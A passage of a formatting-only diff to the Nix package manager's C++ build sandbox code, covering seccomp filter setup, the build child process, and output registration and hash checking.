printError("unable to add mips64-*abin32 seccomp architecture"); - if (nativeSystem == "mips64el-linux" && - seccomp_arch_add(ctx, SCMP_ARCH_MIPSEL) != 0) + if (nativeSystem == "mips64el-linux" && seccomp_arch_add(ctx, SCMP_ARCH_MIPSEL) != 0) printError("unable to add mipsel seccomp architecture"); - if (nativeSystem == "mips64el-linux" && - seccomp_arch_add(ctx, SCMP_ARCH_MIPSEL64N32) != 0) + if (nativeSystem == "mips64el-linux" && seccomp_arch_add(ctx, SCMP_ARCH_MIPSEL64N32) != 0) printError("unable to add mips64el-*abin32 seccomp architecture"); /* Prevent builders from creating setuid/setgid binaries. */ - for (int perm : { S_ISUID, S_ISGID }) { - if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(chmod), 1, - SCMP_A1(SCMP_CMP_MASKED_EQ, (scmp_datum_t) perm, (scmp_datum_t) perm)) != 0) + for (int perm : {S_ISUID, S_ISGID}) { + if (seccomp_rule_add( + ctx, + SCMP_ACT_ERRNO(EPERM), + SCMP_SYS(chmod), + 1, + SCMP_A1(SCMP_CMP_MASKED_EQ, (scmp_datum_t) perm, (scmp_datum_t) perm)) + != 0) throw SysError("unable to add seccomp rule"); - if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(fchmod), 1, - SCMP_A1(SCMP_CMP_MASKED_EQ, (scmp_datum_t) perm, (scmp_datum_t) perm)) != 0) + if (seccomp_rule_add( + ctx, + SCMP_ACT_ERRNO(EPERM), + SCMP_SYS(fchmod), + 1, + SCMP_A1(SCMP_CMP_MASKED_EQ, (scmp_datum_t) perm, (scmp_datum_t) perm)) + != 0) throw SysError("unable to add seccomp rule"); - if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(fchmodat), 1, - SCMP_A2(SCMP_CMP_MASKED_EQ, (scmp_datum_t) perm, (scmp_datum_t) perm)) != 0) + if (seccomp_rule_add( + ctx, + SCMP_ACT_ERRNO(EPERM), + SCMP_SYS(fchmodat), + 1, + SCMP_A2(SCMP_CMP_MASKED_EQ, (scmp_datum_t) perm, (scmp_datum_t) perm)) + != 0) throw SysError("unable to add seccomp rule"); - if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), NIX_SYSCALL_FCHMODAT2, 1, - SCMP_A2(SCMP_CMP_MASKED_EQ, (scmp_datum_t) perm, (scmp_datum_t) perm)) != 0) + if (seccomp_rule_add( + ctx, + SCMP_ACT_ERRNO(EPERM), + NIX_SYSCALL_FCHMODAT2, + 1, + SCMP_A2(SCMP_CMP_MASKED_EQ, (scmp_datum_t) perm, (scmp_datum_t) perm)) + != 0) throw SysError("unable to add seccomp rule"); } /* Prevent builders from using EAs or ACLs. Not all filesystems support these, and they're not allowed in the Nix store because they're not representable in the NAR serialisation. */ - if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(getxattr), 0) != 0 || - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(lgetxattr), 0) != 0 || - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(fgetxattr), 0) != 0 || - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(setxattr), 0) != 0 || - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(lsetxattr), 0) != 0 || - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(fsetxattr), 0) != 0) + if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(getxattr), 0) != 0 + || seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(lgetxattr), 0) != 0 + || seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(fgetxattr), 0) != 0 + || seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(setxattr), 0) != 0 + || seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(lsetxattr), 0) != 0 + || seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(fsetxattr), 0) != 0) throw SysError("unable to add seccomp rule"); if (seccomp_attr_set(ctx, SCMP_FLTATR_CTL_NNP, settings.allowNewPrivileges ? 0 : 1) != 0) @@ -1855,15 +1876,14 @@ void setupSeccomp() if (seccomp_load(ctx) != 0) throw SysError("unable to load seccomp BPF program"); -#else +# else throw Error( "seccomp is not supported on this platform; " "you can bypass this error by setting the option 'filter-syscalls' to false, but note that untrusted builds can then create setuid binaries!"); -#endif +# endif #endif } - void LocalDerivationGoal::runChild() { /* Warning: in the child we should absolutely not make any SQLite @@ -1878,7 +1898,8 @@ void LocalDerivationGoal::runChild() try { setupSeccomp(); } catch (...) { - if (buildUser) throw; + if (buildUser) + throw; } bool setUser = true; @@ -1889,13 +1910,15 @@ void LocalDerivationGoal::runChild() std::string netrcData; std::string caFileData; if (drv->isBuiltin() && drv->builder == "builtin:fetchurl") { - try { - netrcData = readFile(settings.netrcFile); - } catch (SystemError &) { } + try { + netrcData = readFile(settings.netrcFile); + } catch (SystemError &) { + } - try { - caFileData = readFile(settings.caFile); - } catch (SystemError &) { } + try { + caFileData = readFile(settings.caFile); + } catch (SystemError &) { + } } #ifdef __linux__ @@ -1912,7 +1935,8 @@ void LocalDerivationGoal::runChild() /* Initialise the loopback interface. */ AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP)); - if (!fd) throw SysError("cannot open IP socket"); + if (!fd) + throw SysError("cannot open IP socket"); struct ifreq ifr; strcpy(ifr.ifr_name, "lo"); @@ -1994,7 +2018,7 @@ void LocalDerivationGoal::runChild() /* N.B. it is realistic that these paths might not exist. It happens when testing Nix building fixed-output derivations within a pure derivation. */ - for (auto & path : { "/etc/resolv.conf", "/etc/services", "/etc/hosts" }) + for (auto & path : {"/etc/resolv.conf", "/etc/services", "/etc/hosts"}) if (pathExists(path)) ss.push_back(path); @@ -2015,19 +2039,20 @@ void LocalDerivationGoal::runChild() filesystem that we want in the chroot environment. */ for (auto & i : pathsInChroot) { - if (i.second.source == "/proc") continue; // backwards compatibility + if (i.second.source == "/proc") + continue; // backwards compatibility - #if HAVE_EMBEDDED_SANDBOX_SHELL +# if HAVE_EMBEDDED_SANDBOX_SHELL if (i.second.source == "__embedded_sandbox_shell__") { static unsigned char sh[] = { - #include "embedded-sandbox-shell.gen.hh" +# include "embedded-sandbox-shell.gen.hh" }; auto dst = chrootRootDir + i.first; createDirs(dirOf(dst)); writeFile(dst, std::string_view((const char *) sh, sizeof(sh))); chmod_(dst, 0555); } else - #endif +# endif doBind(i.second.source, chrootRootDir + i.first, i.second.optional); } @@ -2045,20 +2070,23 @@ void LocalDerivationGoal::runChild() /* Mount a new tmpfs on /dev/shm to ensure that whatever the builder puts in /dev/shm is cleaned up automatically. */ - if (pathExists("/dev/shm") && mount("none", (chrootRootDir + "/dev/shm").c_str(), "tmpfs", 0, - fmt("size=%s", settings.sandboxShmSize).c_str()) == -1) + if (pathExists("/dev/shm") + && mount( + "none", + (chrootRootDir + "/dev/shm").c_str(), + "tmpfs", + 0, + fmt("size=%s", settings.sandboxShmSize).c_str()) + == -1) throw SysError("mounting /dev/shm"); /* Mount a new devpts on /dev/pts. Note that this requires the kernel to be compiled with CONFIG_DEVPTS_MULTIPLE_INSTANCES=y (which is the case if /dev/ptx/ptmx exists). */ - if (pathExists("/dev/pts/ptmx") && - !pathExists(chrootRootDir + "/dev/ptmx") - && !pathsInChroot.count("/dev/pts")) - { - if (mount("none", (chrootRootDir + "/dev/pts").c_str(), "devpts", 0, "newinstance,mode=0620") == 0) - { + if (pathExists("/dev/pts/ptmx") && !pathExists(chrootRootDir + "/dev/ptmx") + && !pathsInChroot.count("/dev/pts")) { + if (mount("none", (chrootRootDir + "/dev/pts").c_str(), "devpts", 0, "newinstance,mode=0620") == 0) { createSymlink("/dev/pts/ptmx", chrootRootDir + "/dev/ptmx"); /* Make sure /dev/pts/ptmx is world-writable. With some @@ -2137,7 +2165,7 @@ void LocalDerivationGoal::runChild() #endif /* Disable core dumps by default. */ - struct rlimit limit = { 0, RLIM_INFINITY }; + struct rlimit limit = {0, RLIM_INFINITY}; setrlimit(RLIMIT_CORE, &limit); // FIXME: set other limits to deterministic values? @@ -2160,14 +2188,12 @@ void LocalDerivationGoal::runChild() if (setgroups(gids.size(), gids.data()) == -1) throw SysError("cannot set supplementary groups of build user"); - if (setgid(buildUser->getGID()) == -1 || - getgid() != buildUser->getGID() || - getegid() != buildUser->getGID()) + if (setgid(buildUser->getGID()) == -1 || getgid() != buildUser->getGID() + || getegid() != buildUser->getGID()) throw SysError("setgid failed"); - if (setuid(buildUser->getUID()) == -1 || - getuid() != buildUser->getUID() || - geteuid() != buildUser->getUID()) + if (setuid(buildUser->getUID()) == -1 || getuid() != buildUser->getUID() + || geteuid() != buildUser->getUID()) throw SysError("setuid failed"); } @@ -2205,7 +2231,8 @@ void LocalDerivationGoal::runChild() pathsInChroot[p] = p; } - /* Violations will go to the syslog if you set this. Unfortunately the destination does not appear to be configurable */ + /* Violations will go to the syslog if you set this. Unfortunately the destination does not appear to be + * configurable */ if (settings.darwinLogSandboxViolations) { sandboxProfile += "(deny default)\n"; } else { @@ -2213,12 +2240,12 @@ void LocalDerivationGoal::runChild() } sandboxProfile += - #include "sandbox-defaults.sb" +# include "sandbox-defaults.sb" ; if (!derivationType->isSandboxed()) sandboxProfile += - #include "sandbox-network.sb" +# include "sandbox-network.sb" ; /* Add the output paths we'll use at build-time to the chroot */ @@ -2248,7 +2275,8 @@ void LocalDerivationGoal::runChild() if (i.first != i.second.source) throw Error( "can't map '%1%' to '%2%': mismatched impure paths not supported on Darwin", - i.first, i.second.source); + i.first, + i.second.source); std::string path = i.first; auto optSt = maybeLstat(path.c_str()); @@ -2274,14 +2302,15 @@ void LocalDerivationGoal::runChild() sandboxProfile += drvOptions->additionalSandboxProfile; } else sandboxProfile += - #include "sandbox-minimal.sb" +# include "sandbox-minimal.sb" ; debug("Generated sandbox profile:"); debug(sandboxProfile); - /* The tmpDir in scope points at the temporary build directory for our derivation. Some packages try different mechanisms - to find temporary directories, so we want to open up a broader place for them to put their files, if needed. */ + /* The tmpDir in scope points at the temporary build directory for our derivation. Some packages try different + mechanisms to find temporary directories, so we want to open up a broader place for them to put their files, + if needed. */ Path globalTmpDir = canonPath(defaultTempDir(), true); /* They don't like trailing slashes on subpath directives */ @@ -2297,8 +2326,11 @@ void LocalDerivationGoal::runChild() sandboxArgs.push_back("1"); } char * sandbox_errbuf = nullptr; - if (sandbox_init_with_parameters(sandboxProfile.c_str(), 0, stringsToCharPtrs(sandboxArgs).data(), &sandbox_errbuf)) { - writeFull(STDERR_FILENO, fmt("failed to configure sandbox: %s\n", sandbox_errbuf ? sandbox_errbuf : "(null)")); + if (sandbox_init_with_parameters( + sandboxProfile.c_str(), 0, stringsToCharPtrs(sandboxArgs).data(), &sandbox_errbuf)) { + writeFull( + STDERR_FILENO, + fmt("failed to configure sandbox: %s\n", sandbox_errbuf ? sandbox_errbuf : "(null)")); _exit(1); } } @@ -2316,8 +2348,7 @@ void LocalDerivationGoal::runChild() std::map outputs; for (auto & e : drv->outputs) - outputs.insert_or_assign(e.first, - worker.store.printStorePath(scratchOutputs.at(e.first))); + outputs.insert_or_assign(e.first, worker.store.printStorePath(scratchOutputs.at(e.first))); if (drv->builder == "builtin:fetchurl") builtinFetchurl(*drv, outputs, netrcData, caFileData); @@ -2363,7 +2394,13 @@ void LocalDerivationGoal::runChild() posix_spawnattr_setbinpref_np(&attrp, 1, &cpu, NULL); } - posix_spawn(NULL, drv->builder.c_str(), NULL, &attrp, stringsToCharPtrs(args).data(), stringsToCharPtrs(envStrs).data()); + posix_spawn( + NULL, + drv->builder.c_str(), + NULL, + &attrp, + stringsToCharPtrs(args).data(), + stringsToCharPtrs(envStrs).data()); #else execve(drv->builder.c_str(), stringsToCharPtrs(args).data(), stringsToCharPtrs(envStrs).data()); #endif @@ -2376,7 +2413,6 @@ void LocalDerivationGoal::runChild() } } - SingleDrvOutputs LocalDerivationGoal::registerOutputs() { assert(!hook); @@ -2396,16 +2432,17 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() output paths, and any paths that have been built via recursive Nix calls. */ StorePathSet referenceablePaths; - for (auto & p : inputPaths) referenceablePaths.insert(p); - for (auto & i : scratchOutputs) referenceablePaths.insert(i.second); - for (auto & p : addedPaths) referenceablePaths.insert(p); + for (auto & p : inputPaths) + referenceablePaths.insert(p); + for (auto & i : scratchOutputs) + referenceablePaths.insert(i.second); + for (auto & p : addedPaths) + referenceablePaths.insert(p); /* FIXME `needsHashRewrite` should probably be removed and we get to the real reason why we aren't using the chroot dir */ auto toRealPathChroot = [&](const Path & p) -> Path { - return useChroot && !needsHashRewrite() - ? chrootRootDir + p - : worker.store.toRealPath(p); + return useChroot && !needsHashRewrite() ? chrootRootDir + p : worker.store.toRealPath(p); }; /* Check whether the output paths were created, and make all @@ -2414,16 +2451,21 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() that are most definitely already installed, we just store their final name so we can also use it in rewrites. */ StringSet outputsToSort; - struct AlreadyRegistered { StorePath path; }; - struct PerhapsNeedToRegister { StorePathSet refs; }; + struct AlreadyRegistered + { + StorePath path; + }; + struct PerhapsNeedToRegister + { + StorePathSet refs; + }; std::map> outputReferencesIfUnregistered; std::map outputStats; for (auto & [outputName, _] : drv->outputs) { auto scratchOutput = get(scratchOutputs, outputName); if (!scratchOutput) throw BuildError( - "builder for '%s' has no scratch output for '%s'", - worker.store.printStorePath(drvPath), outputName); + "builder for '%s' has no scratch output for '%s'", worker.store.printStorePath(drvPath), outputName); auto actualPath = toRealPathChroot(worker.store.printStorePath(*scratchOutput)); outputsToSort.insert(outputName); @@ -2432,17 +2474,14 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() auto initialOutput = get(initialOutputs, outputName); if (!initialOutput) throw BuildError( - "builder for '%s' has no initial output for '%s'", - worker.store.printStorePath(drvPath), outputName); + "builder for '%s' has no initial output for '%s'", worker.store.printStorePath(drvPath), outputName); auto & initialInfo = *initialOutput; /* Don't register if already valid, and not checking */ - initialInfo.wanted = buildMode == bmCheck - || !(initialInfo.known && initialInfo.known->isValid()); + initialInfo.wanted = buildMode == bmCheck || !(initialInfo.known && initialInfo.known->isValid()); if (!initialInfo.wanted) { outputReferencesIfUnregistered.insert_or_assign( - outputName, - AlreadyRegistered { .path = initialInfo.known->path }); + outputName, AlreadyRegistered{.path = initialInfo.known->path}); continue; } @@ -2450,7 +2489,9 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() if (!optSt) throw BuildError( "builder for '%s' failed to produce output path for output '%s' at '%s'", - worker.store.printStorePath(drvPath), outputName, actualPath); + worker.store.printStorePath(drvPath), + outputName, + actualPath); struct stat & st = *optSt; #ifndef __CYGWIN__ @@ -2458,20 +2499,19 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() that means that someone else can have interfered with the build. Also, the output should be owned by the build user. */ - if ((!S_ISLNK(st.st_mode) && (st.st_mode & (S_IWGRP | S_IWOTH))) || - (buildUser && st.st_uid != buildUser->getUID())) + if ((!S_ISLNK(st.st_mode) && (st.st_mode & (S_IWGRP | S_IWOTH))) + || (buildUser && st.st_uid != buildUser->getUID())) throw BuildError( - "suspicious ownership or permission on '%s' for output '%s'; rejecting this build output", - actualPath, outputName); + "suspicious ownership or permission on '%s' for output '%s'; rejecting this build output", + actualPath, + outputName); #endif /* Canonicalise first. This ensures that the path we're rewriting doesn't contain a hard link to /etc/shadow or something like that. */ canonicalisePathMetaData( - actualPath, - buildUser ? std::optional(buildUser->getUIDRange()) : std::nullopt, - inodesSeen); + actualPath, buildUser ? std::optional(buildUser->getUIDRange()) : std::nullopt, inodesSeen); bool discardReferences = false; if (auto udr = get(drvOptions->unsafeDiscardReferences, outputName)) { @@ -2489,40 +2529,42 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() references = scanForReferences(blank, actualPath, referenceablePaths); } - outputReferencesIfUnregistered.insert_or_assign( - outputName, - PerhapsNeedToRegister { .refs = references }); + outputReferencesIfUnregistered.insert_or_assign(outputName, PerhapsNeedToRegister{.refs = references}); outputStats.insert_or_assign(outputName, std::move(st)); } - auto sortedOutputNames = topoSort(outputsToSort, + auto sortedOutputNames = topoSort( + outputsToSort, {[&](const std::string & name) { auto orifu = get(outputReferencesIfUnregistered, name); if (!orifu) throw BuildError( - "no output reference for '%s' in build of '%s'", - name, worker.store.printStorePath(drvPath)); - return std::visit(overloaded { - /* Since we'll use the already installed versions of these, we - can treat them as leaves and ignore any references they - have. */ - [&](const AlreadyRegistered &) { return StringSet {}; }, - [&](const PerhapsNeedToRegister & refs) { - StringSet referencedOutputs; - /* FIXME build inverted map up front so no quadratic waste here */ - for (auto & r : refs.refs) - for (auto & [o, p] : scratchOutputs) - if (r == p) - referencedOutputs.insert(o); - return referencedOutputs; + "no output reference for '%s' in build of '%s'", name, worker.store.printStorePath(drvPath)); + return std::visit( + overloaded{ + /* Since we'll use the already installed versions of these, we + can treat them as leaves and ignore any references they + have. */ + [&](const AlreadyRegistered &) { return StringSet{}; }, + [&](const PerhapsNeedToRegister & refs) { + StringSet referencedOutputs; + /* FIXME build inverted map up front so no quadratic waste here */ + for (auto & r : refs.refs) + for (auto & [o, p] : scratchOutputs) + if (r == p) + referencedOutputs.insert(o); + return referencedOutputs; + }, }, - }, *orifu); + *orifu); }}, {[&](const std::string & path, const std::string & parent) { // TODO with more -vvvv also show the temporary paths for manual inspection. return BuildError( "cycle detected in build of '%s' in the references of output '%s' from output '%s'", - worker.store.printStorePath(drvPath), path, parent); + worker.store.printStorePath(drvPath), + path, + parent); }}); std::reverse(sortedOutputNames.begin(), sortedOutputNames.end()); @@ -2542,21 +2584,21 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() use. This is why the topological sort is essential to do first before this for loop. */ if (*scratchPath != finalStorePath) - outputRewrites[std::string { scratchPath->hashPart() }] = std::string { finalStorePath.hashPart() }; + outputRewrites[std::string{scratchPath->hashPart()}] = std::string{finalStorePath.hashPart()}; }; auto orifu = get(outputReferencesIfUnregistered, outputName); assert(orifu); - std::optional referencesOpt = std::visit(overloaded { - [&](const AlreadyRegistered & skippedFinalPath) -> std::optional { - finish(skippedFinalPath.path); - return std::nullopt; + std::optional referencesOpt = std::visit( + overloaded{ + [&](const AlreadyRegistered & skippedFinalPath) -> std::optional { + finish(skippedFinalPath.path); + return std::nullopt; + }, + [&](const PerhapsNeedToRegister & r) -> std::optional { return r.refs; }, }, - [&](const PerhapsNeedToRegister & r) -> std::optional { - return r.refs; - }, - }, *orifu); + *orifu); if (!referencesOpt) continue; @@ -2589,19 +2631,19 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() final path, therefore we look for a *non-rewritten self-reference, and use a bool rather try to solve the computationally intractable fixed point. */ - StoreReferences res { + StoreReferences res{ .self = false, }; for (auto & r : references) { auto name = r.name(); - auto origHash = std::string { r.hashPart() }; + auto origHash = std::string{r.hashPart()}; if (r == *scratchPath) { res.self = true; } else if (auto outputRewrite = get(outputRewrites, origHash)) { std::string newRef = *outputRewrite; newRef += '-'; newRef += name; - res.others.insert(StorePath { newRef }); + res.others.insert(StorePath{newRef}); } else { res.others.insert(r); } @@ -2612,11 +2654,8 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() auto newInfoFromCA = [&](const DerivationOutput::CAFloating outputHash) -> ValidPathInfo { auto st = get(outputStats, outputName); if (!st) - throw BuildError( - "output path %1% without valid stats info", - actualPath); - if (outputHash.method.getFileIngestionMethod() == FileIngestionMethod::Flat) - { + throw BuildError("output path %1% without valid stats info", actualPath); + if (outputHash.method.getFileIngestionMethod() == FileIngestionMethod::Flat) { /* The output path should be a regular file without execute permission. */ if (!S_ISREG(st->st_mode) || (st->st_mode & S_IXUSR) != 0) throw BuildError( @@ -2626,37 +2665,28 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() } rewriteOutput(outputRewrites); /* FIXME optimize and deduplicate with addToStore */ - std::string oldHashPart { scratchPath->hashPart() }; - auto got = [&]{ + std::string oldHashPart{scratchPath->hashPart()}; + auto got = [&] { auto fim = outputHash.method.getFileIngestionMethod(); switch (fim) { case FileIngestionMethod::Flat: - case FileIngestionMethod::NixArchive: - { - HashModuloSink caSink { outputHash.hashAlgo, oldHashPart }; + case FileIngestionMethod::NixArchive: { + HashModuloSink caSink{outputHash.hashAlgo, oldHashPart}; auto fim = outputHash.method.getFileIngestionMethod(); - dumpPath( - {getFSSourceAccessor(), CanonPath(actualPath)}, - caSink, - (FileSerialisationMethod) fim); + dumpPath({getFSSourceAccessor(), CanonPath(actualPath)}, caSink, (FileSerialisationMethod) fim); return caSink.finish().first; } case FileIngestionMethod::Git: { - return git::dumpHash( - outputHash.hashAlgo, - {getFSSourceAccessor(), CanonPath(actualPath)}).hash; + return git::dumpHash(outputHash.hashAlgo, {getFSSourceAccessor(), CanonPath(actualPath)}).hash; } } assert(false); }(); - ValidPathInfo newInfo0 { + ValidPathInfo newInfo0{ worker.store, outputPathName(drv->name, outputName), - ContentAddressWithReferences::fromParts( - outputHash.method, - std::move(got), - rewriteRefs()), + ContentAddressWithReferences::fromParts(outputHash.method, std::move(got), rewriteRefs()), Hash::dummy, }; if (*scratchPath != newInfo0.path) { @@ -2665,15 +2695,14 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() // (note that this doesn't invalidate the ca hash we calculated // above because it's computed *modulo the self-references*, so // it already takes this rewrite into account). - rewriteOutput( - StringMap{{oldHashPart, - std::string(newInfo0.path.hashPart())}}); + rewriteOutput(StringMap{{oldHashPart, std::string(newInfo0.path.hashPart())}}); } { HashResult narHashAndSize = hashPath( {getFSSourceAccessor(), CanonPath(actualPath)}, - FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256); + FileSerialisationMethod::NixArchive, + HashAlgorithm::SHA256); newInfo0.narHash = narHashAndSize.first; newInfo0.narSize = narHashAndSize.second; } @@ -2682,90 +2711,90 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() return newInfo0; }; - ValidPathInfo newInfo = std::visit(overloaded { + ValidPathInfo newInfo = std::visit( + overloaded{ - [&](const DerivationOutput::InputAddressed & output) { - /* input-addressed case */ - auto requiredFinalPath = output.path; - /* Preemptively add rewrite rule for final hash, as that is - what the NAR hash will use rather than normalized-self references */ - if (*scratchPath != requiredFinalPath) - outputRewrites.insert_or_assign( - std::string { scratchPath->hashPart() }, - std::string { requiredFinalPath.hashPart() }); - rewriteOutput(outputRewrites); - HashResult narHashAndSize = hashPath( - {getFSSourceAccessor(), CanonPath(actualPath)}, - FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256); - ValidPathInfo newInfo0 { requiredFinalPath, narHashAndSize.first }; - newInfo0.narSize = narHashAndSize.second; - auto refs = rewriteRefs(); - newInfo0.references = std::move(refs.others); - if (refs.self) - newInfo0.references.insert(newInfo0.path); - return newInfo0; - }, + [&](const DerivationOutput::InputAddressed & output) { + /* input-addressed case */ + auto requiredFinalPath = output.path; + /* Preemptively add rewrite rule for final hash, as that is + what the NAR hash will use rather than normalized-self references */ + if (*scratchPath != requiredFinalPath) + outputRewrites.insert_or_assign( + std::string{scratchPath->hashPart()}, std::string{requiredFinalPath.hashPart()}); + rewriteOutput(outputRewrites); + HashResult narHashAndSize = hashPath( + {getFSSourceAccessor(), CanonPath(actualPath)}, + FileSerialisationMethod::NixArchive, + HashAlgorithm::SHA256); + ValidPathInfo newInfo0{requiredFinalPath, narHashAndSize.first}; + newInfo0.narSize = narHashAndSize.second; + auto refs = rewriteRefs(); + newInfo0.references = std::move(refs.others); + if (refs.self) + newInfo0.references.insert(newInfo0.path); + return newInfo0; + }, - [&](const DerivationOutput::CAFixed & dof) { - auto & wanted = dof.ca.hash; + [&](const DerivationOutput::CAFixed & dof) { + auto & wanted = dof.ca.hash; - // Replace the output by a fresh copy of itself to make sure - // that there's no stale file descriptor pointing to it - Path tmpOutput = actualPath + ".tmp"; - copyFile( - std::filesystem::path(actualPath), - std::filesystem::path(tmpOutput), true); + // Replace the output by a fresh copy of itself to make sure + // that there's no stale file descriptor pointing to it + Path tmpOutput = actualPath + ".tmp"; + copyFile(std::filesystem::path(actualPath), std::filesystem::path(tmpOutput), true); - std::filesystem::rename(tmpOutput, actualPath); + std::filesystem::rename(tmpOutput, actualPath); - auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { - .method = dof.ca.method, - .hashAlgo = wanted.algo, - }); + auto newInfo0 = newInfoFromCA( + DerivationOutput::CAFloating{ + .method = dof.ca.method, + .hashAlgo = wanted.algo, + }); - /* Check wanted hash */ - assert(newInfo0.ca); - auto & got = newInfo0.ca->hash; - if (wanted != got) { - /* Throw an error after registering the path as - valid. */ - worker.hashMismatch = true; - delayedException = std::make_exception_ptr( - BuildError("hash mismatch in fixed-output derivation '%s':\n specified: %s\n got: %s", + /* Check wanted hash */ + assert(newInfo0.ca); + auto & got = newInfo0.ca->hash; + if (wanted != got) { + /* Throw an error after registering the path as + valid. */ + worker.hashMismatch = true; + delayedException = std::make_exception_ptr(BuildError( + "hash mismatch in fixed-output derivation '%s':\n specified: %s\n got: %s", worker.store.printStorePath(drvPath), wanted.to_string(HashFormat::SRI, true), got.to_string(HashFormat::SRI, true))); - } - if (!newInfo0.references.empty()) { - auto numViolations = newInfo.references.size(); - delayedException = std::make_exception_ptr( - BuildError("fixed-output derivations must not reference store paths: '%s' references %d distinct paths, e.g. '%s'", + } + if (!newInfo0.references.empty()) { + auto numViolations = newInfo.references.size(); + delayedException = std::make_exception_ptr(BuildError( + "fixed-output derivations must not reference store paths: '%s' references %d distinct paths, e.g. '%s'", worker.store.printStorePath(drvPath), numViolations, worker.store.printStorePath(*newInfo.references.begin()))); - } + } + + return newInfo0; + }, + + [&](const DerivationOutput::CAFloating & dof) { return newInfoFromCA(dof); }, + + [&](const DerivationOutput::Deferred &) -> ValidPathInfo { + // No derivation should reach that point without having been + // rewritten first + assert(false); + }, + + [&](const DerivationOutput::Impure & doi) { + return newInfoFromCA( + DerivationOutput::CAFloating{ + .method = doi.method, + .hashAlgo = doi.hashAlgo, + }); + }, - return newInfo0; }, - - [&](const DerivationOutput::CAFloating & dof) { - return newInfoFromCA(dof); - }, - - [&](const DerivationOutput::Deferred &) -> ValidPathInfo { - // No derivation should reach that point without having been - // rewritten first - assert(false); - }, - - [&](const DerivationOutput::Impure & doi) { - return newInfoFromCA(DerivationOutput::CAFloating { - .method = doi.method, - .hashAlgo = doi.hashAlgo, - }); - }, - - }, output->raw); + output->raw); /* FIXME: set proper permissions in restorePath() so we don't have to do another traversal. */ @@ -2782,9 +2811,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() PathLocks dynamicOutputLock; dynamicOutputLock.setDeletion(true); auto optFixedPath = output->path(worker.store, drv->name, outputName); - if (!optFixedPath || - worker.store.printStorePath(*optFixedPath) != finalDestPath) - { + if (!optFixedPath || worker.store.printStorePath(*optFixedPath) != finalDestPath) { assert(newInfo.ca); dynamicOutputLock.lockPaths({worker.store.toRealPath(finalDestPath)}); } @@ -2814,7 +2841,8 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() if (buildMode == bmCheck) { - if (!worker.store.isValidPath(newInfo.path)) continue; + if (!worker.store.isValidPath(newInfo.path)) + continue; ValidPathInfo oldInfo(*worker.store.queryPathInfo(newInfo.path)); if (newInfo.narHash != oldInfo.narHash) { worker.checkMismatch = true; @@ -2826,13 +2854,21 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() handleDiffHook( buildUser ? buildUser->getUID() : getuid(), buildUser ? buildUser->getGID() : getgid(), - finalDestPath, dst, worker.store.printStorePath(drvPath), tmpDir); + finalDestPath, + dst, + worker.store.printStorePath(drvPath), + tmpDir); - throw NotDeterministic("derivation '%s' may not be deterministic: output '%s' differs from '%s'", - worker.store.printStorePath(drvPath), worker.store.toRealPath(finalDestPath), dst); + throw NotDeterministic( + "derivation '%s' may not be deterministic: output '%s' differs from '%s'", + worker.store.printStorePath(drvPath), + worker.store.toRealPath(finalDestPath), + dst); } else - throw NotDeterministic("derivation '%s' may not be deterministic: output '%s' differs", - worker.store.printStorePath(drvPath), worker.store.toRealPath(finalDestPath)); + throw NotDeterministic( + "derivation '%s' may not be deterministic: output '%s' differs", + worker.store.printStorePath(drvPath), + worker.store.toRealPath(finalDestPath)); } /* Since we verified the build, it's now ultimately trusted. */ @@ -2911,16 +2947,8 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() for (auto & [outputName, newInfo] : infos) { auto oldinfo = get(initialOutputs, outputName); assert(oldinfo); - auto thisRealisation = Realisation { - .id = DrvOutput { - oldinfo->outputHash, - outputName - }, - .outPath = newInfo.path - }; - if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations) - && !drv->type().isImpure()) - { + auto thisRealisation = Realisation{.id = DrvOutput{oldinfo->outputHash, outputName}, .outPath = newInfo.path}; + if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations) && !drv->type().isImpure()) { worker.store.signRealisation(thisRealisation); worker.store.registerDrvOutput(thisRealisation); } @@ -2930,7 +2958,6 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() return builtOutputs; } - void LocalDerivationGoal::checkOutputs(const std::map & outputs) { std::map outputsByPath; @@ -2944,8 +2971,7 @@ void LocalDerivationGoal::checkOutputs(const std::map pathsLeft; @@ 